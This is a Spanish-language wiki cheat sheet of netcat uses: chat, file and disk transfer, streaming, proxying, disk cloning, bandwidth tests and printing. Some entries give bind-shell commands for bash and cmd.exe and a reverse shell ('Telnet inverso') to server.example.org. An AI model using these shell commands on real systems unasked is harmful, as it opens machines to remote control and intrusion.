

# Netcat



En las nuevas versiones de nc ya no hace falta el -p para indicar el puerto

## Ejemplos de uso

### Chat

### Servidor

```
nc -l 2000
```

### Cliente

```
nc localhost 2000
```

### Transferencia de ficheros

#### Receptor:

```
nc -l 2000 > nombrefichero
```

#### Emisor

```
nc localhost 2000 < ficheroaenviar
```

Si queremos enviar el fichero comprimido desde el emisor hacemos

```
cat entrada.txt | gzip | nc remote.host 2000 -q 0
```

Otra forma de hacerlo es :

#### Receptor

```
"nc -l 4000 | tar xvf -"
```

#### Emisor

```
"tar -cf - . | nc ipdestino 4000"
```

## Transferir un disco o partición

### Receptor

```
nc -l 2000|bzip2 -d|dd bs=16M of=/dev/sdb
```

### Emisor

```
dd bs=16M if=/dev/sda|bzip2 -c|nc servidor_receptor 2000
```

### Servidor de echo

Ponemos un servidor que ejecuta cat de modo que devolverá todo lo que se le envíe **Servidor**

```
nc -l 2000 -e /bin/cat
```

### Cliente

```
nc localhost 2000
```

### Servidor de daytime

Exactamente lo mismo que el ejemplo anterior pero ejecutando date en lugar de cat.

```
nc -l 2000 -e /bin/date
```

Y al conectarnos desde otra consola

```
nc localhost 2000
```

## shell remota

### Servidor

```
nc -l -p 2000 -e /bin/bash
```

### Cliente

```
nc ipservidor 2000
```

### Shell remoto en windows

### Servidor

```
nc -l -d -e cmd.exe -p 6000
```

### Cliente

```
nc -vv ipservidor 6000
```

### Copia de seguridad remota

### Receptor

```
netcat -l -p 3333 -v > backup.tgz
```

### Emisor

```
tar -czvpf - /path/to/files | netcat -q 0 remote.host 3333
```

Para hacer una copia en plan bestia de todo el sistema puedes hacer:

```
tar -cjvpf - / --exclude /proc --exclude /dev --exclude /sys --exclude /tmp  
| netcat -q 0 remote.host 3333
```

### Telnet inverso

En esta ocasión es el cliente quien pone el terminal remoto

### Servidor

```
nc -l -p 2000
```

### Cliente

```
nc server.example.org 2000 -e /bin/bash
```

### HTTP

Es sencillo conseguir un cliente y un servidor HTTP rudimentarios. **Servidor**

```
nc -l -p http -c "cat index.html"
```

Al cual podemos conectar con cualquier navegador HTTP, como por ejemplo firefox. **Cliente**

```
echo "GET /" | nc www.google.com 80 > index.html
```

## Streaming de audio

Un sencillo ejemplo para hacer streaming de un fichero .mp3: **Servidor**

```
nc -l -p 2000 < fichero.mp3
```

y para servir todos los .mp3 de un directorio:

```
cat *.mp3 | nc -l -p 2000
```

### Cliente

```
nc server.example.org 2000 | madplay -
```

## Streaming de video

### Servidor

```
nc -l -p 2000 < pelicula.avi
```

### Cliente

```
nc server.example.org 2000 | mplayer -
```

## Proxy

Sirva para redirigir una conexión a otro puerto u otra máquina:

```
nc -l -p 2000 -c "nc example.org 22"
```

El tráfico recibido en el puerto 2000 de esta máquina se redirige a la máquina example.org:22. Permite incluso que la conexión entrante sea UDP pero la redirección sea TCP o viceversa!

## Clonar un disco a través de la red



Esto se debe usar con muchísima precaución. Se puede meter la pata y sobrescribir el disco duro origen

Es este ejemplo voy a copiar un pen drive USB que está conectado al servidor a un fichero en el cliente y después lo voy a montar para acceder al contenido. **Servidor**

```
dd if=/dev/sda1 | nc -l -p 2000
```

### Cliente

```
nc server.example.org 2000 | dd of=pendrive.dump
```

```
mount pendrive.dump -r -t vfat -o loop /mnt/usb
```

Si queremos hacer una copia comprimida

```
dd if=/dev/sda1 conv=noerror,sync | gzip | netcat -q 0 remote.host 2000
```

Y en la parte cliente:

```
nc -l -p 2000 -v > dev_sda1.gz
```

Para restaurarla bastaría con:

```
gzip -dc dev_sda1.gz | dd of=/dev/sda1
```

## Ratón remoto

Es decir, usar el ratón conectado a una máquina para usar el entorno gráfico de otra. El ejemplo está pensado para Xorg. **Servidor**

```
nc -l -p 2000 < /dev/input/mice
```

**Cliente** Editar el fichero /etc/X11/xorg.conf y modificar la configuración del ratón para que queda así:

```
Section "InputDevice"
    Driver      "mouse"
    ...
    Option      "Device"      "/tmp/fakemouse"
    ....
EndSection
```

```
mkfifo /tmp/fakemouse
```

```
nc server.example.org 2000 > /tmp/fakemouse
```

```
/etc/init.d/gdm restart
```

## Medir el ancho de banda

### Servidor

```
nc -l -p 2000 | pv > /dev/null
```

### Cliente

```
nc server.example.org 2000 < /dev/zero
```

## Imprimir un documento en formato PostScript

Funciona en impresoras que soporten el estándar AppSocket/JetDirect, que son la mayoría de las que se conectan por Ethernet.

```
cat fichero.ps | nc -q 1 nombre.o.ip.de.la.impresora 9100
```

## Referencias

- <http://crysol.org/es/netcat>
- [http://www.sans.org/security-resources/sec560/netcat\\_cheat\\_sheet\\_v1.pdf](http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf)
- <http://www.guia-ubuntu.com/index.php?title=Netcat>

netcat

From:

<http://intrusos.info/> - **LCWIKI**

Permanent link:

<http://intrusos.info/doku.php?id=seguridad:herramientas:netcat>

Last update: **2023/01/18 14:37**

